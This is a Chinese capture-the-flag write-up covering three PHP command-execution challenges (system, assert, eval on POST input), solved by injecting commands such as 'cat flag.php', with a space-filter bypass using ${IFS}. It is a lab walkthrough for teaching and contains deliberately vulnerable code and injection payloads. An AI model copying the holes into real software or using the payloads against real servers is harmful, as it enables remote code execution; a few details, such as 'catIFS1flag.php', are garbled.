云尘 命令执行系列

第一题 system

复制代码
<?php
include "flag.php";

if (isset($_POST['cmd'])) {
    system($_POST['cmd']);
}

show_source(__FILE__);

代码如上

system($_POST['cmd']);

POST请求发送一个名为 cmd 的参数,然后将该参数的值传递给系统命令执行函数 system(),这意味着可以发送任意系统命令并执行它们。

我们用post方式传入cmd=cat flag.php

得到flag

第二题 assert

代码如下

复制代码
<?php
include "flag.php";

//assert("phpinfo()");

if (isset($_POST['cmd'])) {
    $a = $_POST['cmd'];

    assert($a);

}

show_source(__FILE__); 

代码审计

assert($a);

//assert() 函数它允许执行任意的PHP代码字符串。在这里,它被用来执行 $a 变量中的代码。这意味着用户可以通过POST请求的 "cmd" 参数注入并执行他们想要的PHP代码

show_source(__FILE__);

//show_source() 函数用于显示当前脚本的源代码。这意味着通过浏览器访问这个脚本时,您将能够看到脚本的源代码,包括 flag.php 文件的内容

if (isset($_POST['cmd']))

//这个条件检查是否存在名为 "cmd" 的POST请求参数。

$a = $_POST['cmd'];

//如果 "cmd" 参数存在,它的值被赋给了变量 $a

我们用cmd执行system命令中的读取flag命令,得到flag

第三题 签到1-eval

复制代码
<?php
include "flag.php";

if (isset ($_POST['cmd'])) {
    eval($_POST['cmd']);
    
}

show_source(__FILE__);

代码如上

我们post个cmd,让cmd去执行system系统命令

cmd=system(' cat flag.php');

payload:

知识点:

  • php insert函数

isset() 函数用于检测变量是否已设置并且非 NULL

若使用 isset() 测试一个被设置成 NULL 的变量,将返回 FALSE。

同时要注意的是 null 字符("\0")并不等同于 PHP 的 NULL 常量。

  • php assert函数

assert() 函数它允许执行任意的PHP代码字符串

  • system函数

在c语言代码中,cmd命令,皆可以字符串形式,作为system函数的参数 ,调用system函数执行命令

(注意,如,system("color f4"),命令是放在一对双引号里的

  • 文件读取命令

使用cat命令 cat flag.php

使用tac命令 tac flag.php

绕过空格过滤 cat${IFS}flag.php

catIFS1flag.php

相关推荐
wdxylb3 小时前
云原生俱乐部-shell知识点归纳(1)
linux·云原生
飞雪20074 小时前
Alibaba Cloud Linux 3 在 Apple M 芯片 Mac 的 VMware Fusion 上部署的完整密码重置教程(二)
linux·macos·阿里云·vmware·虚拟机·aliyun·alibaba cloud
在努力的前端小白4 小时前
Spring Boot 敏感词过滤组件实现:基于DFA算法的高效敏感词检测与替换
java·数据库·spring boot·文本处理·敏感词过滤·dfa算法·组件开发
路溪非溪4 小时前
关于Linux内核中头文件问题相关总结
linux
专注API从业者5 小时前
Python + 淘宝 API 开发:自动化采集商品数据的完整流程
大数据·运维·前端·数据挖掘·自动化
烛阴6 小时前
TypeScript高手密技:解密类型断言、非空断言与 `const` 断言
前端·javascript·typescript
一叶飘零_sweeeet6 小时前
从繁琐到优雅:Java Lambda 表达式全解析与实战指南
java·lambda·java8
Lovyk6 小时前
Linux 正则表达式
linux·运维
艾伦~耶格尔7 小时前
【集合框架LinkedList底层添加元素机制】
java·开发语言·学习·面试
样子20187 小时前
Uniapp 之renderjs解决swiper+多个video卡顿问题
前端·javascript·css·uni-app·html